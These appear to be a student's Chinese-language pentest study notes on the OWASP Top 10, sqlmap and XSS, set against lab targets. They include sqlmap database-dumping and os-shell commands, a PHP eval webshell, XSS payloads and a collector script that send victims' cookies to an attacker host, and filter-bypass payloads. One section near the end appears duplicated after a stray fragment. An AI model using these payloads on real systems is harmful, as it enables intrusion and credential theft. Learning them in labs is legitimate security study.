3.3网安学习第三阶段第三周回顾(个人学习记录使用)

news2024/11/15 12:49:52

本周重点

①渗透测试介绍

②sqlmap注入扫描工具

③XSS脚本注入

本周主要内容

①渗透测试介绍

一、渗透测试

通过模拟黑客对系统进行攻击的手段或技术,在被测系统中发现漏洞的行为。除了提供漏洞之外,还需提供安全意见。

与黑站不同,渗透测试一般情况下,需要授权。

二、测试类型

1、黑盒测试:不能看到源码,只能通过系统页面进行的测试。

2、白盒测试:通过对源码的代码审计进行的测试。也叫玻璃盒测试。

3、灰盒测试:使用方法可以是黑盒,也可以是白盒。二者结合方式。(通过协议方式,可以理解为灰盒)

三、漏洞的生命周期

POC:Proof ofConcept

Exploit,中文意思是“漏洞利用”

CVE 的英文全称是“Common Vulnerabilities & Exposures”,就是通用漏洞披露,是全球统一的对信息安全漏洞或者已经暴露出来的弱点的公共名称

态势感知:实时监控流量业务,发现入侵行为。image-20231106153602815

1.0day - 1day

2.发掘->利用->传播->补丁->消亡

0day漏洞:又称零日漏洞,是指已经被攻击者发现并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞。

这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。0day漏洞通常被黑客以高价在黑市上出售,而攻击者则可以静悄悄地利用这些漏洞,直到相关合法机构意识到问题并发布相应的修补程序。由于0day漏洞从被发现到被利用的时间非常短,对于防守方来说,缺乏漏洞细节和具体信息,单纯依靠防火墙或杀毒软件等传统的防御手段难以实施有效检测。因此,阻止0day漏洞利用攻击,最重要的是升级网络防护体系,通过内存保护技术实现实时监控和主动防御。

四、渗透测试流程

image-20231106171154855

五、owasp top 10

**OWASP的全称是Open Web Application Security Project。**这是一个全球性的、非营利的开放式Web应用程序安全项目组织,旨在通过提高设计和开发过程中的安全性来防止Web应用受到黑客攻击。OWASP成立于2004年4月21日,总部位于美国,是一个国际组织,其基金会负责支持世界各地的活动。

(1)失效的访问控制:(cookies就可以被黑客利用,获取高级别的权限)

​ 通俗的说,就是越权。在未通过身份认证的情况下,对系统进行访问。获取与之身份不匹配的访问权限。

​ ①访问其他用户,获取敏感信息;

​ ②修改其他用户数据;

​ ③修改访问权限;

(2)加密机制失效:

​ 以前也叫敏感数据泄露。

​ ①数据采用明文传输。

​ ②用老旧的或者弱加密算法

​ ③未强制执行加密

​ ④不验证服务器证书

(3)注入:

​ 分为sql注入和xss注入:利用web页面上输入域语法校验漏洞,向系统中注入命令或者代码。

​ ①sql注入:将用户的输入内容通过字符串拼接的方式将系统中的sql命令变成另一个sql命令,从而获取数据(拖库)或者获取文件(get shell)。

​ ②xss注入:对用户输入的信息未过滤,将用户输入的代码注入到其他用户的浏览器上。窃取用户信息,伪装身份攻击。

​ ③代码注入:敏感函数中可以执行代码

​ ④命令注入:敏感函数中可以执行操作系统命令。

(4)不安全的设计

​ 2021版新增漏洞,就是指系统在设计上存在的问题。

​ ①弱验证:没有关闭万能验证码

​ ②使用了简单加密

​ ③隐藏的令牌信息

​ ④静态资源注入:上传

(5)安全配置错误

​ 服务器在系统设置中没有安全相关的软件配置或者安全设备设置。

​ ①对应用程序堆栈没有任何安全强化。 补充知识:https://zhuanlan.zhihu.com/p/588249684?utm_id=0

​ ②对云服务权限配置不正确。

​ ③启用了不必要的功能。

​ ④默认账户和密码处于启用状态或者未修改。

​ ⑤错误信息向用户显示。 die(“操作失败!”,mysqli_error($con))

​ ⑥对升级系统,最新安装安全功能被禁用。

​ ⑦服务器中安全设置没有达到安全值

​ ⑧软件过时。

(6)自带缺陷和过时组件;

​ 系统中带有过时组件(已经发现漏洞的组件)

​ ①不知道所使用组件的版本

​ ②不定期扫描组件,不关注官方公告

​ ③没有对组件基于风险而升级

​ ④不测试,不保护组件

(7)身份识别和身份验证错误

​ 攻击者利用用户身份登录系统。

​ ①允许重复多次登录尝试。 验证码 、 限制操作次数

​ ②允许用户使用弱密码。 123456

​ ③密码找回弱验证。

​ ④缺少或者无效的身份验证

​ ⑤在url中公开会话ID

​ ⑥身份失效时间问题。

(8)软件和数据的完整性保障

​ 这也是一个新增的类型,指的是在不验证完整性的情况下做出与软件更新、关键数据和CI/CD管道相关的假设。

​ ①固件更新没有签名

​ ②恶意更新

​ ③不安全的序列化

(9)安全日志和监控故障

​ 指的是在没有日志记录和监控,将无法检测到漏洞,此类故障会直接影响可见性、事件报警和取证。

​ ①不记录可审计的事件

​ ②警告和错误不生成报告,或者报告内容不清楚

​ ③不监控应用程序的可疑操作。

​ ④日志仅存储在本地

​ ⑤适当的报警阈值响应升级流程没有到位

​ ⑥渗透测试和扫描不报警

(10)服务器请求伪造 ssrf

​ 这一漏洞是在行业调查中添加的,数据显示发生概率较低。

​ ①通过url访问资源,获取敏感文件

​ ②通过url进行内网扫描(ip,端口)

②sqlmap注入扫描工具

一、工具安装

1、环境:

python2.7.5
建议安装在linux下:
python -V

image-20231110163113380

2、安装:

(1)将sqlmap.zip 上传放在/opt目录下:

(2)解压:

yum install unzip
unzip sqlmap.zip

(3)授权:

chmod u+x sqlmap.py

二、使用:

1、扫描:

(1) get请求:注意url中最好带上参数,比如id=1

./sqlmap.py -u "url" 

(2)拖库:

./sqlmap.py -u "url" --current-db     //获取数据库名
./sqlmap.py -u "url" -D 数据库名 --tables //获取表名
./sqlmap.py -u "url" -D 数据库名 -T 表名 --columns //获取所有字段名
./sqlmap.py -u "url" -D 数据库名 -T 表名 -C 字段1,字段2 --dump //获取字段中的值

(3)post请求:

  • 需要准备post请求文件:

通过burp拦截请求,copy to file.把请求文件保存下来,或者直接选中请求部分,复制也可以

image-20231110170904583

  • 拖库

需要注意:使用头注入参数X-Forwarded-For,这个参数需要放在请求头中,X-Forwarded-For: * ,否则无法注入成功

./sqlmap.py -r "文件名" -p 参数名     //指定参数的post请求扫描

//实际使用案例,获取数据库名称,
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --current-db
//根据数据库名称获取表
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" -D posts --tables

image-20240219093746071

image-20240219093819335

以下是postdata.txt 文件内容,注意最后有两个空行

GET /info.php?username=a HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: *
Connection: close

2、状态保持: --cookie

如果请求发送需要前置条件(登录)。可以通过手动登录后,获取已登录的sessionid.在sqlmap中,通过设置cookie方式,绕过登录:

get: 
./sqlmap.py -u "url" --cookie=xxxx
post:
./sqlmap.py -r "文件" -p 参数 --cookie=xxx

//实际使用案例
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --cookie=PHPSESSID=k7ht96qm6n6hr34ghlpn4l3666 --current-db

3、getshell:

(1)自动写入木马:–os-shell

建议不使用post请求:

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --os-shell

(2)读文件: --read-file

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --file-read "/etc/passwd"

(3)写文件:–file-write 源文件 --file-dest 目标文件

//制作一个一句话木马
echo <?php eval($_POST['a']);?> > /tmp/secure21
//写入木马
./sqlmap.py -u "http://192.168.23.128/info.php?username=1" --file-write "/tmp/secure21" --file-dest "/opt/lampp/htdocs/muma21.php"

③XSS脚本注入

一、XSS概念

cross site scripting: 跨站攻击脚本,主要攻击发生在浏览器这一段,不会对服务器产生影响。

二、危害

1、挖矿

2、植入广告

3、盗取用户cookie:进一步可以窃取用户的资料

4、利用用户的机器,植入木马,进行DDOS攻击

三、Xss攻击的前提

1、页面需要有用户可输入的点

2、用户输入的内容需要回显在页面的某个部分

3、如果构造了一个连接,需要诱导目标用户去点击

四、Xss类型

1、反射型

(1)不修改DOM标签的

弹出一个alert

步骤:

先在靶机上修改list.php的代码,增加输入框和查询按钮

<?php

$sk = @$_GET['sk'];

session_start();

include 'dbinfo.php';

mysqli_set_charset($conn,"utf8");

//查询数据库
$sql = "select * from tb_articles where title like '%$sk%'";
$result = mysqli_query($conn,$sql);

echo "上一次查询关键字:".$sk;
?>
<div align="center">当前登录用户:
    <?php 
      $s = @$_SESSION["loginuser"]; 
      if($s=="ok"){
        echo $_SESSION["username"]; 
      }else{
        echo "游客";
      }
    
    ?>
<div>

  <form>
      <input type="text" name="sk">
      <input type="submit" name="submit" value="search">
  </form>
        
<table border="1" align=center>
    <tr><td>Id</td><td>标题</td><td>创建时间</td><td>作者</td><td>操作</td></tr>
    <?php  
      while($rows = mysqli_fetch_assoc($result)){
     ?>
         <tr>
            <td><?=$rows['id']?></td>
            <td> <a href="details.php?id=<?=$rows['id']?>"><?=$rows['title']?>  </a></td>
            <td><?=$rows['createtime']?></td>
            <td><?=$rows['author']?></td>
            <td> <a href="delete.php?id=<?=$rows['id']?>">删除</a>
                 <a href="editarticle.php?id=<?=$rows['id']?>">修改</a>
            </td>
        </tr>
    <?php 
      }
    ?>
</table>

<?php
//关闭数据库连接
mysqli_close($conn);

?>

访问靶机的list.php,在查询框里输入:

<script>alert(1)</script>

点击search按钮,看到会弹出一个警告框,把上面的url复制下来

image-20240312174525348

在黑客机器上,创建一个html页面,girl01.html,自己准备一张美女图片,放在girl01.html相同目录中。

注意,这个html中href的跳转连接地址,就从上面图片的中浏览器的url地址栏复制过来。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>美女图片</title>
</head>
<body>
    
    <a href="http://192.168.75.128/hz02/posts/list.php?sk=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=search">
        <img src="0.jpg" width="400px" height="300px">约吗!</a>
</body>
</html>

访问黑客机器上的girl01.html,看到如下页面

image-20240312174826277

鼠标点击“约吗”,网页会跳转到刚刚目标靶机的list.php页面,并且会弹出一个警告框

image-20240312174948383

盗取用户Cookie:

用户已经登录了目标系统,并且在没有关闭浏览器的情况下,用相同的浏览器打开了包含攻击脚本链接

先在黑客的服务器准备一个数据库表,保存受害者的cookie信息

CREATE TABLE `tb_cookie` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cookie` varchar(1000) DEFAULT NULL,
  `createtime` datetime DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP,
  `remoteip` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

准备一个程序,收集受害者的cookie

<?php
//这段程序写在黑客的机器上,用来接收受害用户浏览器的cookie
$ucookie = @$_GET['ucookie'];
$refer = @$_SERVER['HTTP_REFERER'];

$dbhost = "127.0.0.1";
$dbuser = "root";
$dbpass = "";
$dbname = "posts";
$dbport = 3306;

//连接数据库
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);
//设置数据库连接的编码格式UTF8
mysqli_set_charset($conn,"utf8");

$sql = "insert into tb_cookie(cookie,createtime,remoteip) values('$ucookie',now(),'$refer')";

mysqli_query($conn,$sql);

mysqli_close($conn);

?>

构造一个url链接,可以是一个美女图片,也可以是文字。关键是用户对这个有兴趣,会点击这个连接;

<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script>new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='%2bdocument.cookie</script>&search=search">你的申请被拒绝</a>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

另外还可以把getcookies.js放在黑客服务器上

//这个js文件放在黑客服务器上
new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='+document.cookie;

那么html的url连接就是

<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script src='http://192.168.6.129/xss02/getcookies.js'></script>&search=search">点一下?</a>   

(2)修改DOM标签的

php的代码:

<?php
$sk = @$_GET['sk'];
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
aaaa

<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>
  显示:<input type="text" id="username" name="username" value="<?=$sk?>">

  <br>

  输入:<input type="text" name="sk" id="sk"  >

  <br>

  <input type="submit" value="search">

</form>

</body>
</html>

在页面的输入框中直接输入

"><script>alert(1)</script><span alt="

点击search按钮,页面弹出警告框

image-20240313121915822

2、存储型

登录靶场,到发帖子页面,内容输入,点击添加按钮保存

<script>alert(1)</script>

image-20240313141509686

保存成功,返回list.php页面,

image-20240313141624369

点击“admin测试xxx”,跳转到详情页面,弹出了警告框

image-20240313141733933

再发一个帖子,包含盗取cookie的xss攻击脚本

帖子的内容是:

<script  src="http://192.168.12.129/xss02/getcookies.js"></script>
你能把我怎么样啊?我现在偷了你的cookie,哈哈哈哈

发帖成功后,保存到靶机数据库的帖子内容

image-20240313142804828

任何用户来访问帖子

image-20240313142833230

只要点击了这个有xss攻击脚本的帖子,就会被盗取cookie

image-20240313142930202

可以看到,cookie被发送给黑客,并保存到黑客数据库

image-20240313143006867

五、XSS闯关靶场

在靶机上,安装xss闯关靶场

1、创建一个目录

mkdir -p /opt/lampp/htdocs/xsscg

2、把靶场中的文件直接上传到目录/opt/lampp/htdocs/xsscg

3、如果没有zip 和 unzip就安装一下

yum -y install zip unzip

4、解压缩靶场文件

cd /opt/lampp/htdocs/xsscg
unzip xsscg.zip

5、访问一下靶场(IP地址改成自己的)

http://192.168.75.129/xsscg/xss/

image-20240312175945618

六、安装DVWA靶场

1、把DVWA-master.zip 上传到/opt/lampp/htdocs

2、解压缩:

unzip DVWA-master.zip

3、修改目录名称

mv DVWA-master dvwa

4、修改配置文件

cd dvwa/config
cp config.inc.php.dist config.inc.php

5、访问dvwa,页面上显示为红色No的项目要修改一下,变成绿色即可。

http://192.168.12.128/dvwa/

image-20240313144317593

根据要求,修改配置

chmod 777 /opt/lampp/htdocs/dvwa/hackable/uploads/

改好之后,刷新网页,可以看到已经是Yes

image-20240313144638489

继续修改:

chmod 777  /opt/lampp/htdocs/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt

修改完再次刷新页面

image-20240313144804423

继续修改

chmod 777 /opt/lampp/htdocs/dvwa/config

image-20240313144909866

如果这两个参数的值都是On就不需要下面的操作,否则

allow_url_fopen = On
allow_url_include = On

image-20240313145108322

如果allow_url_fopen和allow_url_include任何一个不是On,就修改php.ini

 vi /opt/lampp/etc/php.ini

把最前面的分号去掉,并把值修改为On

image-20240313145345628

保存修改后,重启apache

/opt/lampp/xampp restart

看到两个参数的值都是On,就可以了

image-20240313145527752

修改数据库配置

vi /opt/lampp/htdocs/dvwa/config/config.inc.php

根据自己的实际情况修改数据库的用户名和密码,改好保存一下

image-20240313145915894

刷新一下页面,看到数据的用户名和密码已经修改

image-20240313150025753

点击页面底部的create/reset database

image-20240313150236377

创建成功,应该看到

image-20240313150329096

七、BlusLotus工具

1、下载地址,需要注册github账号(前提:需要能上国外的网站)

https://github.com/firesunCN/BlueLotus_XSSReceiver?tab=readme-ov-file

2、把压缩文件上传到攻击机器的/opt/lampp/htdocs目录

image-20240223120815517

3、解压缩

cd /opt/lampp/htdocs
unzip BlueLotus_XSSReceiver-master.zip

4、修改文件夹名称

mv BlueLotus_XSSReceiver-master bluelotus

5、修改目录的权限

chmod -R 777 bluelotus

6、访问主页(ip自己修改)

http://192.168.12.129/bluelotus

image-20240313153927107

点击“安装”按钮。

image-20240313154201621

点击“提交”按钮

image-20240313154311039

点击“登录”按钮

image-20240313154342298密码是bluelotus

登录成功,看到如下页面

image-20240313154414674

添加一个模板

image-20240313154722011

选择default.js,点击插入模板

image-20240313154753036

添加一个js文件

image-20240313155112119

添加的js会出现在左侧

image-20240313155154458

点击生成Payload按钮,左侧会生成一段javascript的xss攻击脚本

image-20240313155335968

把左边的脚本内容复制,发到帖子内容里

image-20240313155523584发帖成功,查看一下

image-20240313155549908

当受害者点击这个帖子的标题,查看内容的时候

image-20240313155728832

用鼠标点击右下角的提示,看到有一条记录产生了

image-20240313155810639

查看这条记录,能看到cookie已经被发过来了

image-20240313160415814

八、安装pikachu靶场

1、上传靶场压缩文件到/opt/lampp/htdocs

image-20240314092729802

2、解压缩

unzip pikachu-master.zip

3、改目录名称

mv pikachu-master pikachu

4、修改数据库配置文件

cd pikachu
cd inc
vi config.inc.php

把数据库的用户名,密码根据自己的实际情况修改

image-20240314093141618

修改后,保存

5、重新启动xampp环境

/opt/lampp/xampp restart

6、访问http://192.168.196.128/pikachu/

image-20240314093601965

点击红色字体,进行数据库的初始化

image-20240314093642972

点击“安装/初始化”按钮

看到这个页面说明初始化成功

image-20240314093719339

九、Xss防御

1、使用htmlspecialchars转义函数,把html中字符转码

可以把

单引号,双引号,左尖括号,右尖括号,& 转义成实体字符

为什么要转码?

如果不转码,象< > 在实际的内容中,会在浏览器解析的时候,影响正常的解析,会让浏览器认为是html的标签,

以下网页,在内容中有aaaa<ht,会影响后面的内容展示,所以需要把<转义成 &lt;

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
   
aaaa<ht

<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>
  输入:<input type="text" name="sk" id="sk"  >
  <br>
  <input type="submit" value="sea<rch">
  <br>
<div> aaas   </html>  </div>

</form>
</body>
</html>

2、可以使用str_ireplace把一些关键性的字符串替换掉

$sk=str_ireplace('script',"",$sk);
$sk=str_ireplace('href',"",$sk);
$sk=str_ireplace('click',"",$sk);
...........

十、Xss绕过

1、双写绕过

原因:在替换关键字的时候,把关键字替换成了"",

$sk=str_ireplace('script',"",$sk);

可以通过双写script绕过替换

<scriscriptpt>alert(1)</sscriptcript>

2、大小写绕过

原因:在替换的时候没有考虑到大小写敏感的问题

$sk=str_replace('script',"",$sk);

可以通过把单词中的任意字符换成大写绕过

<sCript>alert(1)</sCript>

3、空格绕过

有写程序员会把空格替换掉,破坏html标签的解析规则

$sk=str_replace(" ","",$sk);
此时
<a href="xxxx">点击连接</a> 会被替换成<ahref="xxxx">点击连接</a>,语法会出错

那么可以通过下面的方法绕过

<a/**/href='javascript:alert(1);'>xss漏洞</a>

4、base64编码绕过

有些情况下,没有转义特殊字符,只做了一些关键字的替换,例如把script替换成“ ”,或者scri_pt,那可以考虑使用base64编码方式来绕过,有的浏览器,比如Chrome的高版本,会阻止a标签中的base64编码的执行,可以换其他浏览器试试。

//在帖子内容当中放入如下内容,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==其实就是<script>alert(1)</script>的base64编码形式
payload:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">aaaaaa</a>

5、url两次编码

程序

员手工进行一次urldecode操作,程序中没有对< > 等字符特殊过滤,可以进行两次url编码绕过

原始的输入:
"><a href="javascript:alert(1)">aaaa</a> <span b="

payload:
经过第一次url编码:
%22%3e%3c%61%20%68%72%65%66%3d%22%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%22%3e%61%61%61%61%3c%2f%61%3e%20%3c%73%70%61%6e%20%62%3d%22
把上面这些经过编码的内容再一次进行url编码
%25%32%32%25%33%65%25%33%63%25%36%31%25%32%30%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%61%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%32%32%25%33%65%25%36%31%25%36%31%25%36%31%25%36%31%25%33%63%25%32%66%25%36%31%25%33%65%25%32%30%25%33%63%25%37%33%25%37%30%25%36%31%25%36%65%25%32%30%25%36%32%25%33%64%25%32%32

注意:经过两次编码的内容不能直接在浏览器上跟在sk的参数后面,也不能在form表单中提交,因为浏览器会自动的把%再次编码,导致错误。

可以使用burp拦截,直接把请求参数改成以上经过两次url编码的内容。

代码:

<?php 


$sk = @$_GET['sk'];
echo $sk;
//此时打印
echo "<br>";

$sk = str_ireplace("script","scr_ipt",$sk);
echo $sk;
echo "<br>";
$sk = urldecode($sk);//程序员很小心,手工进行urldecode
echo $sk;
//此时打印
echo "<br>";

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
<form>
    显示:<input type="text" value="<?=$sk?>" maxlength="1000">
    <br>
    输入:<input type="text" name="sk" id="sk">

    <br>
    <input type="submit" value="search">
</form>
</body>
</html>

6、html实体编码绕过

当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过

html转码工具:

https://www.toolzl.com/tools/htmlende.html

原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
输入即可绕过

代码:

<?php 

$sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
<form>
    <!-- dddd -->
    <a id="a" href="<?=$sk?>">友情链接</a>
    <!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> -->
    <br>
    输入:<input type="text" name="sk" id="sk">

    <br>
    <input type="submit" value="search">
</form>
</body>
</html>

十一、XSStrike工具

下载地址:https://gitee.com/mirrors/XSStrike

需要先安装python3才可以运行

下载后,直接解压缩即可使用。

使用工具扫描XSS

" id=“sk”>

<br>
<input type="submit" value="search">
```

6、html实体编码绕过

当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过

html转码工具:

https://www.toolzl.com/tools/htmlende.html

原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
输入即可绕过

代码:

<?php 

$sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
<form>
    <!-- dddd -->
    <a id="a" href="<?=$sk?>">友情链接</a>
    <!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> -->
    <br>
    输入:<input type="text" name="sk" id="sk">

    <br>
    <input type="submit" value="search">
</form>
</body>
</html>

十一、XSStrike工具

下载地址:https://gitee.com/mirrors/XSStrike

需要先安装python3才可以运行

下载后,直接解压缩即可使用。

使用工具扫描XSS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1534868.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

仿牛客项目Day10——统一异常处理、记录日志

统一异常处理 在controller里创建advice包&#xff0c;创建ExceptionAdvice类 这个注解括号里面是指只扫描被Controller标注的bean 请求request、响应response、异常exception 普通请求和异步请求的区别在于传的是json还是html吗&#xff1f; 统一记录日志 面向切面编程&…

2024/03/21(网络编程·day7)

一、思维导图 二、 //定义删除函数 int do_delete(sqlite3 *ppDb) {int del_numb0;printf("请输入要删除的学生的学号:");scanf("%d",&del_numb);getchar();//准备sql语句char sql[128]"select *from Stu";sprintf(sql,"delete from …

RocketMQ 流存储解析:面向流场景的关键特性与典型案例

作者&#xff1a;林清山&#xff08;隆基&#xff09; 前言&#xff1a; 从初代开源消息队列崛起&#xff0c;到 PC 互联网、移动互联网爆发式发展&#xff0c;再到如今 IoT、云计算、云原生引领了新的技术趋势&#xff0c;消息中间件的发展已经走过了 30 多个年头。 目前&…

蓝桥杯-模拟-纸张尺寸

题目 思路 代码 qlist(str(input())) numint(q[1]) x,y1189,841 while num:num-1x//2if x<y:x,yy,x print(x) print(y)

关于安卓调用文件浏览器(一)打开并复制

背景 最近在做一个硬件产品&#xff0c;安卓应用开发。PM抽风&#xff0c;要求从app打开文件浏览器&#xff0c;跳转到指定目录&#xff0c;然后可以实现文件复制粘贴操作。 思考 从应用开发的角度看&#xff0c;从app打开系统文件浏览器并且选择文件&#xff0c;这是很常见…

牛客小白月赛86(D剪纸游戏)

题目链接:D-剪纸游戏_牛客小白月赛86 (nowcoder.com) 题目描述: 输入描述: 输入第一行包含两个空格分隔的整数分别代表 n 和 m。 接下来输入 n行&#xff0c;每行包含 m 个字符&#xff0c;代表残缺纸张。 保证&#xff1a; 1≤n,m≤10001 字符仅有 . 和 * 两种字符&#xf…

代码随想录算法训练营 DAY 16 | 104.二叉树最大深度 111.二叉树最小深度 222.完全二叉树的节点个数

104.二叉树最大深度 深度和高度 二叉树节点的深度&#xff1a;指从根节点到该节点的最长简单路径边的条数或者节点数&#xff08;取决于深度从0开始还是从1开始&#xff09;二叉树节点的高度&#xff1a;指从该节点到叶子节点的最长简单路径边的条数或者节点数&#xff08;取…

按键模拟精灵

按键模拟精灵功能简单&#xff1a; 1.添加模拟按键 2.删除模拟按键 3.开始模拟 4.停止模拟 适合简单的按键操作&#xff0c;有需要的可以点赞收藏关注我&#xff01;

315晚会:虚假的水军是怎样形成的?又要如何破解?

随着互联网的普及和发展&#xff0c;网络信息的传播已经成为了现代社会中不可或缺的一部分。然而&#xff0c;随之而来的是网络舆论的泛滥和虚假信息的肆意传播&#xff0c;这使得网络治理变得尤为重要。 2024年的315晚会&#xff0c;央视曝光了一种新型的水军制造手段&#x…

DXF™ 格式对象和图元——cad vba

在 DXF™ 格式中&#xff0c;对象的定义与图元的定义不同&#xff1a;对象没有图形表示&#xff0c;而图元则有图形表示。例如&#xff0c;词典是对象而不是图元。图元也称为图形对象&#xff0c;而对象称为非图形对象。 第七段中humbnail image&#xff0c;即&#xff1a;缩略…

【智能算法】海洋捕食者算法(MPA)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献 1.背景 2020年&#xff0c;Afshin Faramarzi 等人受到海洋生物适者生存启发&#xff0c;提出了海洋捕食者算法(Marine Predators Algorithm&#xff0c;MPA)。 2.算法原理 2.1算法思想 MPA根据模拟自然界…

图神经网络实战(2)——图论基础

图神经网络实战&#xff08;2&#xff09;——图论基础 0. 前言1. 图属性1.1 有向图和无向图1.2 加权图和非加权图1.3 连通图和非连通图1.4 其它图类型 2. 图概念2.1 基本对象2.2 图的度量指标2.2 邻接矩阵表示法 3. 图算法3.1 广度优先搜索3.2 深度优先搜索 小结系列链接 0. 前…

户外水质检测显示屏用于检测并显示各种水质数据

水质检测一直是环境保护和公共卫生领域的重要课题。随着科技的不断进步&#xff0c;水质检测设备也在不断更新换代。其中&#xff0c;水质检测显示屏作为一种新型的检测设备&#xff0c;为监测和显示各种水质数据提供了便利和高效的手段。 水质检测显示屏是一种集成了传感器、数…

tcp seq ack

seq&#xff08;Sequence Number&#xff09;&#xff1a;32bits&#xff0c;表示这个tcp包的序列号。tcp协议拼凑接收到的数据包时&#xff0c;根据seq来确定顺序&#xff0c;并且能够确定是否有数据包丢失。 ack&#xff08;Acknowledgment Number&#xff09;&#xff1a;3…

Python基础学习笔记(一)

Python简介 Python 语言是一种跨平台、开源、免费、解释型、面向对象、动态数据类型的高级程序设计语言。早期版本的 Python 被称作是 Python1&#xff1b;Python2 最后一个版本是 2.7&#xff1b;Python3 是目前最活跃的版 本&#xff0c;基本上新开发的 Python 代码都会支持…

Infoq:腾讯内容千亿级实时计算和规则引擎实践优化之路

1.系统背景 腾讯内容中台提供从内容生产、内容加工、内容分发、内容结算等全链路环节的一站式服务&#xff0c;在这个过程中&#xff0c;会产生大量的数据以及围绕这些数据衍生的实时流业务应用&#xff0c;如智能审核、运营决策、在线学习等&#xff0c;从底层去看这些内容生态…

SM4加密是什么?SM4算法在国密HTTPS协议中的作用

SM4加密算法是一种分组密码标准&#xff0c;由国家密码管理局于2012年3月21日发布&#xff0c;相关标准为“GM/T 0002-2012《SM4分组密码算法》&#xff0c;与国际上广泛使用的AES等算法类似&#xff0c;SM4同算法样用于保护数据的机密性&#xff0c;确保信息在传输过程中不被未…

MT1478 插入A(技巧)

从键盘上输入一个字符串&#xff08;长度小于10000&#xff0c;以回车作为结束&#xff0c;其余地方不出现回车&#xff09;&#xff0c;按后按照下面要求输出一个新字符串&#xff0c; 新的字符串是在原来字符串中&#xff0c; 每两个字符之间插入一个A&#xff0c; 输出新产生…

代码随想录|Day25|回溯05|491.非递减子序列、46.全排列、47.全排列II

491. 非递减子序列 本题并不能像 90.子集II 那样&#xff0c;使用排序进行树层去重。虽然题目没有明确不能排序&#xff0c;但如果排序了&#xff0c;集合本身就是递增子序列&#xff0c;这是LeetCode示例2中没有出现的。 所以本题的关键在于&#xff0c;如何在不排序的情况下对…

C语言数据结构基础——二叉树学习笔记(三)链式二叉树以及初步认识递归思想

1.链式二叉树概念及其逻辑 每个树都要看成&#xff1a;根&#xff0c;左子树&#xff0c;右子树 链表、顺序表中的遍历方式有正序遍历和逆序遍历&#xff0c;而我们在二叉树中&#xff0c;有前序遍历、中序遍历、后序遍历、层序等多种遍历方法。 所谓 二叉树遍历 (Traversal) …